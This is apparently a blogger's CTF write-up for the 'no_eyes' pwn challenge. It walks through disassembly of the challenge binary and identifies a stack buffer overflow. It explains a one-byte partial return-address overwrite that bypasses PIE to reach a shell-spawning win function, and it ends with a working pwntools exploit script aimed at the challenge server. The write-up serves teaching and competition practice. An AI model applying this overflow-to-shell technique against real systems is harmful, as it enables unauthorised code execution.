← Back to list

0xV01D CTF —no_eyes (Pwn)Writeup

This writeup will consists of 1 pwn challenge writeup only, due to the owner being so busy with life 😂

Vxmp · 2026-05-20 11:44 · 4 claps · 13.7 min read
#ctf #pwn #pwnable
Open on Medium ↗

0xV01D CTF —no_eyes (Pwn)Writeup

This writeup will consists of 1 pwn challenge writeup only, due to the owner being so busy with life 😂

note — my language usage might be a little inconsistent because I’m not a native english speaker and I don’t really have that much experience with writing essays or CTF writeups 💀

Anyways, let’s start with the writeup!

Challenge name: no eyes

Remote: nc 34.62.69.250 41063

The files that the author distributed are:

  • chall (binary file)
  • ld-linux-x86–64.so.2 (dynamic linker for linux ELF)
  • libc.so.6 (GNU c library)

well what are we waiting for? time for some basic analysis!

$ unzip lknh3p.zip -d ctf
Archive:  lknh3p.zip
   creating: ctf/no_eyes/
  inflating: ctf/no_eyes/chall
  inflating: ctf/no_eyes/ld-linux-x86-64.so.2
  inflating: ctf/no_eyes/libc.so.6

$ file *
chall:                ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=260c003e92e451d300d722577798a3ed530eddb6, for GNU/Linux 3.2.0, not stripped
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=9718d3757f00d2366056830aae09698dbd35e32c, stripped
libc.so.6:            ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a43bfc8428df6623cd498c9c0caeb91aec9be4f9, for GNU/Linux 3.2.0, stripped

we can see that the binary “chall” is not stripped, that means we have available symbols which really aids the reverse engineering process LOL

now what about checking some security mitigations?

$ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   RW-RUNPATH   50 Symbols        No    0               2               chall

we can see that:

  • No canary — stack buffer overflow is not detected
  • NX enabled — stack/heap are non-executable; we cannot jump to shellcode placed on the stack
  • PIE enabled — not fixed address
  • Full RELRO — GOT entries are read only so its not possible to overwrite
  • RW-RUNPATH — the dynamic linker will search for libc.so.6 in the same directory as the binary (provided LD_LIBRARY_PATH is not set), this is why they gave us a specific libc.so.6 😂

Running strings on the binary would show us something interesting..

...
You found it!
/bin/sh
Input:
Welcome
Return reached safely
...
execve@GLIBC_2.2.5
...
win
vulnerable
main
crash_handler
...

/bin/sh and “You found it!” could mean that theres a win function that calls execve(“/bin/sh”, 0, 0)

since the binary is not stripped, we can just do a very simple static analysis with objdump!

command that ive used: objdump -d -M intel chall

┌──(kali㉿kali)-[~/pwn_ctf_fr/ctf/no_eyes]
└─$ objdump -d -M intel chall             

chall:     file format elf64-x86-64

Disassembly of section .init:

0000000000001000 <_init>:
    1000:       48 83 ec 08             sub    rsp,0x8
    1004:       48 8b 05 dd 2f 00 00    mov    rax,QWORD PTR [rip+0x2fdd]        # 3fe8 <__gmon_start__@Base>
    100b:       48 85 c0                test   rax,rax
    100e:       74 02                   je     1012 <_init+0x12>
    1010:       ff d0                   call   rax
    1012:       48 83 c4 08             add    rsp,0x8
    1016:       c3                      ret

Disassembly of section .plt:

0000000000001020 <_exit@plt-0x10>:
    1020:       ff 35 62 2f 00 00       push   QWORD PTR [rip+0x2f62]        # 3f88 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:       ff 25 64 2f 00 00       jmp    QWORD PTR [rip+0x2f64]        # 3f90 <_GLOBAL_OFFSET_TABLE_+0x10>
    102c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000001030 <_exit@plt>:
    1030:       ff 25 62 2f 00 00       jmp    QWORD PTR [rip+0x2f62]        # 3f98 <_exit@GLIBC_2.2.5>
    1036:       68 00 00 00 00          push   0x0
    103b:       e9 e0 ff ff ff          jmp    1020 <_init+0x20>

0000000000001040 <puts@plt>:
    1040:       ff 25 5a 2f 00 00       jmp    QWORD PTR [rip+0x2f5a]        # 3fa0 <puts@GLIBC_2.2.5>
    1046:       68 01 00 00 00          push   0x1
    104b:       e9 d0 ff ff ff          jmp    1020 <_init+0x20>

0000000000001050 <printf@plt>:
    1050:       ff 25 52 2f 00 00       jmp    QWORD PTR [rip+0x2f52]        # 3fa8 <printf@GLIBC_2.2.5>
    1056:       68 02 00 00 00          push   0x2
    105b:       e9 c0 ff ff ff          jmp    1020 <_init+0x20>

0000000000001060 <alarm@plt>:
    1060:       ff 25 4a 2f 00 00       jmp    QWORD PTR [rip+0x2f4a]        # 3fb0 <alarm@GLIBC_2.2.5>
    1066:       68 03 00 00 00          push   0x3
    106b:       e9 b0 ff ff ff          jmp    1020 <_init+0x20>

0000000000001070 <read@plt>:
    1070:       ff 25 42 2f 00 00       jmp    QWORD PTR [rip+0x2f42]        # 3fb8 <read@GLIBC_2.2.5>
    1076:       68 04 00 00 00          push   0x4
    107b:       e9 a0 ff ff ff          jmp    1020 <_init+0x20>

0000000000001080 <execve@plt>:
    1080:       ff 25 3a 2f 00 00       jmp    QWORD PTR [rip+0x2f3a]        # 3fc0 <execve@GLIBC_2.2.5>
    1086:       68 05 00 00 00          push   0x5
    108b:       e9 90 ff ff ff          jmp    1020 <_init+0x20>

0000000000001090 <signal@plt>:
    1090:       ff 25 32 2f 00 00       jmp    QWORD PTR [rip+0x2f32]        # 3fc8 <signal@GLIBC_2.2.5>
    1096:       68 06 00 00 00          push   0x6
    109b:       e9 80 ff ff ff          jmp    1020 <_init+0x20>

00000000000010a0 <setvbuf@plt>:
    10a0:       ff 25 2a 2f 00 00       jmp    QWORD PTR [rip+0x2f2a]        # 3fd0 <setvbuf@GLIBC_2.2.5>
    10a6:       68 07 00 00 00          push   0x7
    10ab:       e9 70 ff ff ff          jmp    1020 <_init+0x20>

Disassembly of section .plt.got:

00000000000010b0 <__cxa_finalize@plt>:
    10b0:       ff 25 42 2f 00 00       jmp    QWORD PTR [rip+0x2f42]        # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
    10b6:       66 90                   xchg   ax,ax

Disassembly of section .text:

00000000000010c0 <_start>:
    10c0:       31 ed                   xor    ebp,ebp
    10c2:       49 89 d1                mov    r9,rdx
    10c5:       5e                      pop    rsi
    10c6:       48 89 e2                mov    rdx,rsp
    10c9:       48 83 e4 f0             and    rsp,0xfffffffffffffff0
    10cd:       50                      push   rax
    10ce:       54                      push   rsp
    10cf:       45 31 c0                xor    r8d,r8d
    10d2:       31 c9                   xor    ecx,ecx
    10d4:       48 8d 3d bb 01 00 00    lea    rdi,[rip+0x1bb]        # 1296 <main>
    10db:       ff 15 f7 2e 00 00       call   QWORD PTR [rip+0x2ef7]        # 3fd8 <__libc_start_main@GLIBC_2.34>
    10e1:       f4                      hlt
    10e2:       66 2e 0f 1f 84 00 00    cs nop WORD PTR [rax+rax*1+0x0]
    10e9:       00 00 00 
    10ec:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

00000000000010f0 <deregister_tm_clones>:
    10f0:       48 8d 3d 19 2f 00 00    lea    rdi,[rip+0x2f19]        # 4010 <__TMC_END__>
    10f7:       48 8d 05 12 2f 00 00    lea    rax,[rip+0x2f12]        # 4010 <__TMC_END__>
    10fe:       48 39 f8                cmp    rax,rdi
    1101:       74 15                   je     1118 <deregister_tm_clones+0x28>
    1103:       48 8b 05 d6 2e 00 00    mov    rax,QWORD PTR [rip+0x2ed6]        # 3fe0 <_ITM_deregisterTMCloneTable@Base>
    110a:       48 85 c0                test   rax,rax
    110d:       74 09                   je     1118 <deregister_tm_clones+0x28>
    110f:       ff e0                   jmp    rax
    1111:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
    1118:       c3                      ret
    1119:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

0000000000001120 <register_tm_clones>:
    1120:       48 8d 3d e9 2e 00 00    lea    rdi,[rip+0x2ee9]        # 4010 <__TMC_END__>
    1127:       48 8d 35 e2 2e 00 00    lea    rsi,[rip+0x2ee2]        # 4010 <__TMC_END__>
    112e:       48 29 fe                sub    rsi,rdi
    1131:       48 89 f0                mov    rax,rsi
    1134:       48 c1 ee 3f             shr    rsi,0x3f
    1138:       48 c1 f8 03             sar    rax,0x3
    113c:       48 01 c6                add    rsi,rax
    113f:       48 d1 fe                sar    rsi,1
    1142:       74 14                   je     1158 <register_tm_clones+0x38>
    1144:       48 8b 05 a5 2e 00 00    mov    rax,QWORD PTR [rip+0x2ea5]        # 3ff0 <_ITM_registerTMCloneTable@Base>
    114b:       48 85 c0                test   rax,rax
    114e:       74 08                   je     1158 <register_tm_clones+0x38>
    1150:       ff e0                   jmp    rax
    1152:       66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
    1158:       c3                      ret
    1159:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

0000000000001160 <__do_global_dtors_aux>:
    1160:       f3 0f 1e fa             endbr64
    1164:       80 3d dd 2e 00 00 00    cmp    BYTE PTR [rip+0x2edd],0x0        # 4048 <completed.0>
    116b:       75 2b                   jne    1198 <__do_global_dtors_aux+0x38>
    116d:       55                      push   rbp
    116e:       48 83 3d 82 2e 00 00    cmp    QWORD PTR [rip+0x2e82],0x0        # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
    1175:       00 
    1176:       48 89 e5                mov    rbp,rsp
    1179:       74 0c                   je     1187 <__do_global_dtors_aux+0x27>
    117b:       48 8b 3d 86 2e 00 00    mov    rdi,QWORD PTR [rip+0x2e86]        # 4008 <__dso_handle>
    1182:       e8 29 ff ff ff          call   10b0 <__cxa_finalize@plt>
    1187:       e8 64 ff ff ff          call   10f0 <deregister_tm_clones>
    118c:       c6 05 b5 2e 00 00 01    mov    BYTE PTR [rip+0x2eb5],0x1        # 4048 <completed.0>
    1193:       5d                      pop    rbp
    1194:       c3                      ret
    1195:       0f 1f 00                nop    DWORD PTR [rax]
    1198:       c3                      ret
    1199:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

00000000000011a0 <frame_dummy>:
    11a0:       f3 0f 1e fa             endbr64
    11a4:       e9 77 ff ff ff          jmp    1120 <register_tm_clones>

00000000000011a9 <init>:
    11a9:       f3 0f 1e fa             endbr64
    11ad:       55                      push   rbp
    11ae:       48 89 e5                mov    rbp,rsp
    11b1:       48 8b 05 78 2e 00 00    mov    rax,QWORD PTR [rip+0x2e78]        # 4030 <stdin@GLIBC_2.2.5>
    11b8:       b9 00 00 00 00          mov    ecx,0x0
    11bd:       ba 02 00 00 00          mov    edx,0x2
    11c2:       be 00 00 00 00          mov    esi,0x0
    11c7:       48 89 c7                mov    rdi,rax
    11ca:       e8 d1 fe ff ff          call   10a0 <setvbuf@plt>
    11cf:       48 8b 05 4a 2e 00 00    mov    rax,QWORD PTR [rip+0x2e4a]        # 4020 <stdout@GLIBC_2.2.5>
    11d6:       b9 00 00 00 00          mov    ecx,0x0
    11db:       ba 02 00 00 00          mov    edx,0x2
    11e0:       be 00 00 00 00          mov    esi,0x0
    11e5:       48 89 c7                mov    rdi,rax
    11e8:       e8 b3 fe ff ff          call   10a0 <setvbuf@plt>
    11ed:       48 8b 05 4c 2e 00 00    mov    rax,QWORD PTR [rip+0x2e4c]        # 4040 <stderr@GLIBC_2.2.5>
    11f4:       b9 00 00 00 00          mov    ecx,0x0
    11f9:       ba 02 00 00 00          mov    edx,0x2
    11fe:       be 00 00 00 00          mov    esi,0x0
    1203:       48 89 c7                mov    rdi,rax
    1206:       e8 95 fe ff ff          call   10a0 <setvbuf@plt>
    120b:       bf 78 00 00 00          mov    edi,0x78
    1210:       e8 4b fe ff ff          call   1060 <alarm@plt>
    1215:       90                      nop
    1216:       5d                      pop    rbp
    1217:       c3                      ret

0000000000001218 <crash_handler>:
    1218:       f3 0f 1e fa             endbr64
    121c:       55                      push   rbp
    121d:       48 89 e5                mov    rbp,rsp
    1220:       bf 01 00 00 00          mov    edi,0x1
    1225:       e8 06 fe ff ff          call   1030 <_exit@plt>

000000000000122a <win>:
    122a:       f3 0f 1e fa             endbr64
    122e:       55                      push   rbp
    122f:       48 89 e5                mov    rbp,rsp
    1232:       48 8d 05 cb 0d 00 00    lea    rax,[rip+0xdcb]        # 2004 <_IO_stdin_used+0x4>
    1239:       48 89 c7                mov    rdi,rax
    123c:       e8 ff fd ff ff          call   1040 <puts@plt>
    1241:       ba 00 00 00 00          mov    edx,0x0
    1246:       be 00 00 00 00          mov    esi,0x0
    124b:       48 8d 05 c0 0d 00 00    lea    rax,[rip+0xdc0]        # 2012 <_IO_stdin_used+0x12>
    1252:       48 89 c7                mov    rdi,rax
    1255:       e8 26 fe ff ff          call   1080 <execve@plt>
    125a:       90                      nop
    125b:       5d                      pop    rbp
    125c:       c3                      ret

000000000000125d <vulnerable>:
    125d:       f3 0f 1e fa             endbr64
    1261:       55                      push   rbp
    1262:       48 89 e5                mov    rbp,rsp
    1265:       48 83 ec 20             sub    rsp,0x20
    1269:       48 8d 05 aa 0d 00 00    lea    rax,[rip+0xdaa]        # 201a <_IO_stdin_used+0x1a>
    1270:       48 89 c7                mov    rdi,rax
    1273:       b8 00 00 00 00          mov    eax,0x0
    1278:       e8 d3 fd ff ff          call   1050 <printf@plt>
    127d:       48 8d 45 e0             lea    rax,[rbp-0x20]
    1281:       ba 00 01 00 00          mov    edx,0x100
    1286:       48 89 c6                mov    rsi,rax
    1289:       bf 00 00 00 00          mov    edi,0x0
    128e:       e8 dd fd ff ff          call   1070 <read@plt>
    1293:       90                      nop
    1294:       c9                      leave
    1295:       c3                      ret

0000000000001296 <main>:
    1296:       f3 0f 1e fa             endbr64
    129a:       55                      push   rbp
    129b:       48 89 e5                mov    rbp,rsp
    129e:       b8 00 00 00 00          mov    eax,0x0
    12a3:       e8 01 ff ff ff          call   11a9 <init>
    12a8:       48 8d 05 69 ff ff ff    lea    rax,[rip+0xffffffffffffff69]        # 1218 <crash_handler>
    12af:       48 89 c6                mov    rsi,rax
    12b2:       bf 0b 00 00 00          mov    edi,0xb
    12b7:       e8 d4 fd ff ff          call   1090 <signal@plt>
    12bc:       48 8d 05 55 ff ff ff    lea    rax,[rip+0xffffffffffffff55]        # 1218 <crash_handler>
    12c3:       48 89 c6                mov    rsi,rax
    12c6:       bf 04 00 00 00          mov    edi,0x4
    12cb:       e8 c0 fd ff ff          call   1090 <signal@plt>
    12d0:       48 8d 05 4b 0d 00 00    lea    rax,[rip+0xd4b]        # 2022 <_IO_stdin_used+0x22>
    12d7:       48 89 c7                mov    rdi,rax
    12da:       e8 61 fd ff ff          call   1040 <puts@plt>
    12df:       b8 00 00 00 00          mov    eax,0x0
    12e4:       e8 74 ff ff ff          call   125d <vulnerable>
    12e9:       48 8d 05 3a 0d 00 00    lea    rax,[rip+0xd3a]        # 202a <_IO_stdin_used+0x2a>
    12f0:       48 89 c7                mov    rdi,rax
    12f3:       e8 48 fd ff ff          call   1040 <puts@plt>
    12f8:       b8 00 00 00 00          mov    eax,0x0
    12fd:       5d                      pop    rbp
    12fe:       c3                      ret

Disassembly of section .fini:

0000000000001300 <_fini>:
    1300:       48 83 ec 08             sub    rsp,0x8
    1304:       48 83 c4 08             add    rsp,0x8
    1308:       c3                      ret

ok lets analyze it!

win function

000000000000122a <win>:
    122a:   f3 0f 1e fa             endbr64
    122e:   55                      push   rbp
    122f:   48 89 e5                mov    rbp,rsp
    1232:   48 8d 05 cb 0d 00 00    lea    rax,[rip+0xdcb]        # 2004 <_IO_stdin_used+0x4>
    1239:   48 89 c7                mov    rdi,rax
    123c:   e8 ff fd ff ff          call   1040 <puts@plt>
    1241:   ba 00 00 00 00          mov    edx,0x0
    1246:   be 00 00 00 00          mov    esi,0x0
    124b:   48 8d 05 c0 0d 00 00    lea    rax,[rip+0xdc0]        # 2012 <_IO_stdin_used+0x12>
    1252:   48 89 c7                mov    rdi,rax
    1255:   e8 26 fe ff ff          call   1080 <execve@plt>
    125a:   90                      nop
    125b:   5d                      pop    rbp
    125c:   c3                      ret

basically:

  • win() prints “You found it!” via puts.
  • it then calls execve(“/bin/sh”, 0, 0) to give us a shell
  • the address 0x122a is the start of the function, however, due to the endbr64 instruction (very intel CET), direct entry at 0x122a is safe Alternatively, we could just jump to 0x122e (the push rbp) or 0x122f (mov rbp, rsp) if we need to bypass a misaligned stack (common on Ubuntu 24.04)

vulnerable function

000000000000125d <vulnerable>:
    125d:   f3 0f 1e fa             endbr64
    1261:   55                      push   rbp
    1262:   48 89 e5                mov    rbp,rsp
    1265:   48 83 ec 20             sub    rsp,0x20       ; alloc 32 bytes on stack
    1269:   48 8d 05 aa 0d 00 00    lea    rax,[rip+0xdaa]  # it just "Input: "
    1270:   48 89 c7                mov    rdi,rax
    1273:   b8 00 00 00 00          mov    eax,0x0
    1278:   e8 d3 fd ff ff          call   1050 <printf@plt>
    127d:   48 8d 45 e0             lea    rax,[rbp-0x20]  ; buffer starts at rbp-0x20
    1281:   ba 00 01 00 00          mov    edx,0x100       ; this read up to 256 bytes
    1286:   48 89 c6                mov    rsi,rax
    1289:   bf 00 00 00 00          mov    edi,0x0         ; uhm fd = stdin
    128e:   e8 dd fd ff ff          call   1070 <read@plt>
    1293:   90                      nop
    1294:   c9                      leave
    1295:   c3                      ret
  • the function allocates a 0x20 (32) byte buffer on the stack (sub rsp, 0x20)
  • it reads 0x100 (256) bytes into that buffer from standard input
  • there is a blatant buffer overflow — basically 256 bytes are written into a 32-byte space

main function

0000000000001296 <main>:
    1296:   f3 0f 1e fa             endbr64
    129a:   55                      push   rbp
    129b:   48 89 e5                mov    rbp,rsp
    129e:   b8 00 00 00 00          mov    eax,0x0
    12a3:   e8 01 ff ff ff          call   11a9 <init>
    12a8:   48 8d 05 69 ff ff ff    lea    rax,[rip+0xffffffffffffff69]  # 1218 <crash_handler>
    12af:   48 89 c6                mov    rsi,rax
    12b2:   bf 0b 00 00 00          mov    edi,0xb        ; -SIGSEGV
    12b7:   e8 d4 fd ff ff          call   1090 <signal@plt>
    12bc:   48 8d 05 55 ff ff ff    lea    rax,[rip+0xffffffffffffff55]  # 1218 <crash_handler>
    12c3:   48 89 c6                mov    rsi,rax
    12c6:   bf 04 00 00 00          mov    edi,0x4        ; -SIGILL
    12cb:   e8 c0 fd ff ff          call   1090 <signal@plt>
    12d0:   48 8d 05 4b 0d 00 00    lea    rax,[rip+0xd4b]  # says "Welcome"
    12d7:   48 89 c7                mov    rdi,rax
    12da:   e8 61 fd ff ff          call   1040 <puts@plt>
    12df:   b8 00 00 00 00          mov    eax,0x0
    12e4:   e8 74 ff ff ff          call   125d <vulnerable>
    12e9:   48 8d 05 3a 0d 00 00    lea    rax,[rip+0xd3a]  # the part that says"Return reached safely"
    12f0:   48 89 c7                mov    rdi,rax
    12f3:   e8 48 fd ff ff          call   1040 <puts@plt>
    12f8:   b8 00 00 00 00          mov    eax,0x0
    12fd:   5d                      pop    rbp
    12fe:   c3                      ret
  • main() first calls init() (which sets up buffering, alarm, etc.)
  • it installs crash_handler for SIGSEGV (0xb) and SIGILL (0x4). The handler simply calls _exit(1). this means if we accidentally jump to an invalid address, the program will exit cleanly instead of crashing with a core dump. this also prevents us from trying brute-force byte overwrites that cause crashes, because the program just terminates
  • it then prints “Welcome”, calls vulnerable(), and if vulnerable returns normally, prints “Return reached safely”
  • the return from vulnerable is at 0x12e9, the normal execution path expects to come back to that address

init function

00000000000011a9 <init>:
    11a9:   f3 0f 1e fa             endbr64
    11ad:   55                      push   rbp
    11ae:   48 89 e5                mov    rbp,rsp
    11b1:   48 8b 05 78 2e 00 00    mov    rax,[rip+0x2e78]  # stdin
    11b8:   b9 00 00 00 00          mov    ecx,0x0
    11bd:   ba 02 00 00 00          mov    edx,0x2            ; _IONBF
    11c2:   be 00 00 00 00          mov    esi,0x0
    11c7:   48 89 c7                mov    rdi,rax
    11ca:   e8 d1 fe ff ff          call   setvbuf@plt
    ... (same for stdout and stderr)
    120b:   bf 78 00 00 00          mov    edi,0x78            ; 120s
    1210:   e8 4b fe ff ff          call   alarm@plt
    1215:   90                      nop
    1216:   5d                      pop    rbp
    1217:   c3                      ret
  • disables buffering on stdin/stdout/stderr (we dont need newline‑flushing tricks!!)
  • sets an alarm of 120 seconds, so our exploit has ample time 💀

crash_handler function

0000000000001218 <crash_handler>:
    1218:   f3 0f 1e fa             endbr64
    121c:   55                      push   rbp
    121d:   48 89 e5                mov    rbp,rsp
    1220:   bf 01 00 00 00          mov    edi,0x1
    1225:   e8 06 fe ff ff          call   _exit@plt

on any signal (SIGSEGV/SIGILL), the program calls _exit(1), so we don’t get crash logs 😭, but we can still know if our exploit works because the shell stays open haha

Ok now from all the analysis, what’s even the vulnerability??

The vuln is a classic stack buffer overflow in the vulnerable function:

void vulnerable() {
    char buf[32];
    printf("Input: ");
    read(0, buf, 0x100);   // this will read 256 bytes into 32-byte buffer
}

Since stack contains something like

[ buffer (32 bytes) ] [ saved RBP (8 bytes) ] [ return address (8 bytes) ]

we can overwrite the saved RBP and the return address

the offset to the return address is 32 + 8 = 40 bytes!

stack layout at vunerable leave; ret:

  rbp-0x20 -> buf[0]               (32 bytes)
  rbp-0x08 -> saved RBP of main    (8 bytes)
  rbp+0x00 -> return address       (8 bytes) <- originally 0x00005555555552e9 (it was relocated)

after the leave instruction:

  • mov rsp, rbp
  • pop rbp > restores main’s RBP from the overwritten saved RBP, increments RSP
  • ret > pops the return address from the current RSP and jumps to it

because we control those 8 bytes after the buffer, we can redirect execution

but hey, i think there’s something trying to stop us, it’s PIE?

well yes, but first let’s take a look at what is PIE protection in binaries

PIE basically randomizes the base address of the binary

The addresses we see in objdump are relative to a base of 0x0000000000000000

At runtime, the binary’s base is something like 0x55xxxxxxxxxx. This means we cannot hardcode the address of win (e.g., 0x55555555522a) because the higher bytes are unknown to us 💀

HOWEVER!!

Note that the return address on the stack, before overwrite, is a relocated address that points to main+0x53 (the instruction after the call to vulnerable)

In our disassembly, that’s 0x12e9. At runtime, this address will be something like 0x5555555552e9 (base + 0x12e9)

The base is page-aligned (0x1000), so the lower 12 bits (three hex digits) of any address within the binary are constant and equal to the offset 😆

Thus, we can simply perform a partial overwrite of just the least significant byte(s) of the return address. since the target function win is at offset 0x122a, and the original return address is at offset 0x12e9, both reside in the same page (0x1000–0x1fff range). Their offsets differ only in the least significant byte: 0xe9 vs 0x2a. Overwriting one byte to \x2a will transform 0x…12e9 into 0x…122a, perfectly hitting win function!! 🎉

but, I’ve heard of ASLR bruteforce! why not that though?

  • the original return address and the target win are within the same 4KB page. ASLR randomizes the page number but not the offset within the page
  • changing a single byte keeps the same page base and only modifies the intra-page offset
  • the probability of success is 100%, provided we send the correct byte and no bad characters interfere (none here, read accepts all bytes)

how do you develop the exploit script??

let’s craft the payload

we need:

  • 40 bytes of padding to reach the return address
  • 1 byte to overwrite the LSB of the return address to 0x2a (the least significant byte of win)

payload = b”A” * 40 + b”\x2a”

but there is a subtlety: the return address is 8 bytes, and the stack is little-endian

overwriting only the least significant byte (the first byte of the return address on the stack) changes the last byte of the address. For example, if the original return address was 0x5555555552e9, in memory (little-endian) it looks like:

e9 52 55 55 55 55 00 00

if we send 40 bytes followed by \x2a, the stack will become:

... some padding frfr ...  2a 52 55 55 55 55 00 00

now the return address is 0x55555555522a — the win function!

anyways here’s the solve script in python with pwntools (very short haha)

from pwn import *

target = '34.62.69.250'
port = 41063

p = remote(target, port)

offset = 40
payload = b"A" * offset
payload += b"\x2a"

p.sendafter(b"Input: ", payload)

p.interactive()

and you’ll just simply get the flag in 0xV01D{} format!

note — the flag is dynamic so its randomized

the flag will be inside flag.txt in the same directory as you got the shell

And yeah, that’s all for the writeup!

Credits to 0xV01D CTF for this good challenge! And I hope this writeup will benefit the readers! 😄


메타데이터
post_id
68fc25e4fda0
slug
0xv01d-ctf-no-eyes-pwn-writeup-68fc25e4fda0
url
https://medium.com/@Vxmp_/0xv01d-ctf-no-eyes-pwn-writeup-68fc25e4fda0
canonical_url
https://medium.com/@Vxmp_/0xv01d-ctf-no-eyes-pwn-writeup-68fc25e4fda0
author_url
https://medium.com/@Vxmp_
status
ok
fetched_at
2026-06-13 07:35:29